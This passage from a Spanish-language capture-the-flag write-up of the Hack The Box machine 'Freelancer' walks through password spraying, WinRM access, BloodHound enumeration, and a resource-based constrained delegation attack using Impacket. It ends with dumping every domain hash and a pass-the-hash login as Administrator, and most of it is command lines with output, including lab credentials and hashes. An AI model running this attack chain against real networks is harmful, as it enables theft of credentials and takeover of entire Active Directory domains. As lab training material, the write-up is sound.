$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1003ddfa0a470017188b719e1eaae709
[*] DPAPI_SYSTEM
dpapi_machinekey:0xcf1bc407d272ade7e781f17f6f3a3fc2b82d16bc
dpapi_userkey:0x6d210ab98889fac8829a1526a5d6a2f76f8f9d53
[*] NL$KM
0000 63 4D 9D 4C 85 EF 33 FF A5 E1 4D E2 DC A1 20 75 cM.L..3...M... u
0010 D2 20 EA A9 BC E0 DB 7D BE 77 E9 BE 6E AD 47 EC . .....}.w..n.G.
0020 26 02 E1 F6 BF F5 C5 CC F9 D6 7A 16 49 1C 43 C5 &.........z.I.C.
0030 77 6D E0 A8 C6 24 15 36 BF 27 49 96 19 B9 63 20 wm...$.6.'I...c
NL$KM:634d9d4c85ef33ffa5e14de2dca12075d220eaa9bce0db7dbe77e9be6ead47ec2602e1f6bff5c5ccf9d67a16491c43c5776de0a8c6241536bf27499619b96320
[*] _SC_MSSQL$DATA
(Unknown User):PWN3D#l0rr@Armessa199
[*] Cleaning up...
Guardo los hashes, pero ninguno de ellos funciona para conectarse con usuarios privilegiados. Por ejemplo:
❯ netexec smb 10.10.11.5 -u 'Administrator' -H '725180474a181356e53f4fe3dffac527'
SMB 10.10.11.5 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.5 445 DC [-] freelancer.htb\Administrator:725180474a181356e53f4fe3dffac527 STATUS_LOGON_FAILURE
Sin embargo, el final del output podemos ver una contraseña: PWN3D#l0rr@Armessa199
. Si usamos, nuevamente, NetExec
con nuestra lista de potenciales usuarios junto con la contraseña encontrada tenemos:
❯ netexec smb 10.10.11.5 -u users.txt -p 'PWN3D#l0rr@Armessa199' --continue-on-success
SMB 10.10.11.5 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.5 445 DC [-] freelancer.htb\Administrator:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE
<SNIP>
SMB 10.10.11.5 445 DC [-] freelancer.htb\leon.sk:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE
SMB 10.10.11.5 445 DC [-] freelancer.htb\lkazanof:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE
SMB 10.10.11.5 445 DC [+] freelancer.htb\lorra199:PWN3D#l0rr@Armessa199
SMB 10.10.11.5 445 DC [-] freelancer.htb\maya.artmes:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE
SMB 10.10.11.5 445 DC [-] freelancer.htb\michael.williams:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE
<SNIP>
SMB 10.10.11.5 445 DC [-] freelancer.htb\wwalker:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE
Encontramos credenciales válidas: lorra199:PWN3D#l0rr@Armessa199
Recuerdo que este usuario es parte del grupo Remote Management Users
, de manera que deberíamos de ser capaces de loguearnos con este usuario a través de WinRM
:
❯ netexec winrm 10.10.11.5 -u 'lorra199' -p 'PWN3D#l0rr@Armessa199'
WINRM 10.10.11.5 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:freelancer.htb)
WINRM 10.10.11.5 5985 DC [+] freelancer.htb\lorra199:PWN3D#l0rr@Armessa199 (Pwn3d!)
Nos conectamos entonces a través de WinRM
usando evil-winrm
:
❯ evil-winrm -u 'lorra199' -p 'PWN3D#l0rr@Armessa199' -i 10.10.11.5
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\lorra199\Documents> whoami
freelancer\lorra199
Revisando grupos de este usuario podemos ver:
*Evil-WinRM* PS C:\Users\lorra199\Documents> net user lorra199
User name lorra199
Full Name
Comment IT Support Technician
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/4/2023 8:19:13 AM
Password expires Never
Password changeable 10/5/2023 8:19:13 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/13/2024 11:12:56 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *AD Recycle Bin
The command completed successfully.
donde el grupo AD Recycle Bin
es inusual.
Para revisar privilegios en un entorno Active Directory
, usaré Bloodhound
. Para esto primero usamos bloodhound-python
para ver la estructura del entorno AD
:
❯ bloodhound-python -u lorra199 -p "PWN3D#l0rr@Armessa199" -d freelancer.htb -ns 10.10.11.5 -c all
INFO: Found AD domain: freelancer.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.freelancer.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.freelancer.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 8 computers
INFO: Connecting to LDAP server: dc.freelancer.htb
INFO: Found 30 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SetupMachine.freelancer.htb
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer: Datacenter-2019
INFO: Querying computer:
INFO: Querying computer: DC.freelancer.htb
WARNING: Could not resolve: Datacenter-2019: All nameservers failed to answer the query Datacenter-2019. IN A: Server Do53:10.10.11.5@53 answered SERVFAIL
INFO: Done in 00M 35S
Luego, en Bloodhound
, revisamos al usuario lorra199
:
Como hemos visto previamente, este usuario es miembro del grupo AD Recycle Bin
. Revisando el grupo AD Recycle Bin
:
Haciendo click derecho en la conexión entre el grupo y DC
, y luego en Help
, muestra que podemos performar un ataque Resource-based Constrained Delegation
(RBCD
). Esto significa que somos capaces de agregar un computador falso al dominio y, luego, pedir el ticket Kerberos
de cualquier usuario (como Administrator
) al DC
bajo el nombre de este computador falso.
Para empezar el ataque usamos addcomputer.py
de Impacket
para agregar un computador falso:
❯ python3 /usr/share/doc/python3-impacket/examples/addcomputer.py -computer-name 'ATTACKERSYSTEM$' -computer-pass 'gunzf0x123$!' -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:'PWN3D#l0rr@Armessa199'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Successfully added machine account ATTACKERSYSTEM$ with password gunzf0x123$!.
Y le delegamos permisos sobre el dominio usando rbcd.py
de Impacket
:
❯ python3 /usr/share/doc/python3-impacket/examples/rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'DC$' -dc-ip 10.10.11.5 -action 'write' 'freelancer.htb/lorra199:PWN3D#l0rr@Armessa199'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACKERSYSTEM$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ATTACKERSYSTEM$ (S-1-5-21-3542429192-2036945976-3483670807-11601)
Ahora, podemos intentar pedir los tickets del dominio. Para esto usamos getST.py
de Impacket
:
❯ python3 /usr/share/doc/python3-impacket/examples/getST.py -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip 10.10.11.5 'freelancer.htb/ATTACKERSYSTEM$:gunzf0x123$!'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Pero obtengo un error. Cuando este error ocurre podemos tratar de sincronizar relojes:
❯ sudo ntpdate -s 10.10.11.5
y volver a correr:
❯ python3 /usr/share/doc/python3-impacket/examples/getST.py -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip 10.10.11.5 'freelancer.htb/ATTACKERSYSTEM$:gunzf0x123$!'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC.freelancer.htb@FREELANCER.HTB.ccache
Finalmente usamos secretsdump.py
y el ticket de Kerberos
para dumpear todos los hashes del dominio:
❯ export KRB5CCNAME=/home/gunzf0x/HTB/HTBMachines/Hard/Freelancer/content/Administrator@cifs_DC.freelancer.htb@FREELANCER.HTB.ccache && python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'freelancer.htb/Administrator@DC.freelancer.htb' -k -no-pass -dc-ip 10.10.11.5 -target-ip 10.10.11.5 -just-dc-ntlm
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0039318f1e8274633445bce32ad1a290:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d238e0bfa17d575038efc070187a91c2:::
freelancer.htb\mikasaAckerman:1105:aad3b435b51404eeaad3b435b51404ee:e8d62c7d57e5d74267ab6feb2f662674:::
sshd:1108:aad3b435b51404eeaad3b435b51404ee:c1e83616271e8e17d69391bdcd335ab4:::
SQLBackupOperator:1112:aad3b435b51404eeaad3b435b51404ee:c4b746db703d1af5575b5c3d69f57bab:::
sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a:::
lorra199:1116:aad3b435b51404eeaad3b435b51404ee:67d4ae78a155aab3d4aa602da518c051:::
<SNIP>
WS2-WIN11$:1157:aad3b435b51404eeaad3b435b51404ee:bf5267ee6236c86a3596f72f2ddef2da:::
WS3-WIN11$:1158:aad3b435b51404eeaad3b435b51404ee:732c190482eea7b5e6777d898e352225:::
DC2$:1159:aad3b435b51404eeaad3b435b51404ee:e1018953ffa39b3818212aba3f736c0f:::
SETUPMACHINE$:8601:aad3b435b51404eeaad3b435b51404ee:f5912663ecf2c8cbda2a4218127d11fe:::
ATTACKERSYSTEM$:12101:aad3b435b51404eeaad3b435b51404ee:ef266c6b963c0bb683941032008ad47f:::
[*] Cleaning up...
Chequeo si este hash funciona para el usuario Administrator
con NetExec
.
❯ netexec winrm 10.10.11.5 -u Administrator -H '0039318f1e8274633445bce32ad1a290'
WINRM 10.10.11.5 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:freelancer.htb)
WINRM 10.10.11.5 5985 DC [+] freelancer.htb\Administrator:0039318f1e8274633445bce32ad1a290 (Pwn3d!)
Y, dado que funciona, lo usamos para generar una sesión privilegiada con evil-winrm
:
❯ evil-winrm -u 'Administrator' -H '0039318f1e8274633445bce32ad1a290' -i 10.10.11.5
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
freelancer\administrator
Podemos leer la flag de root
en el Desktop del usuario Administrator
.
~Happy Hacking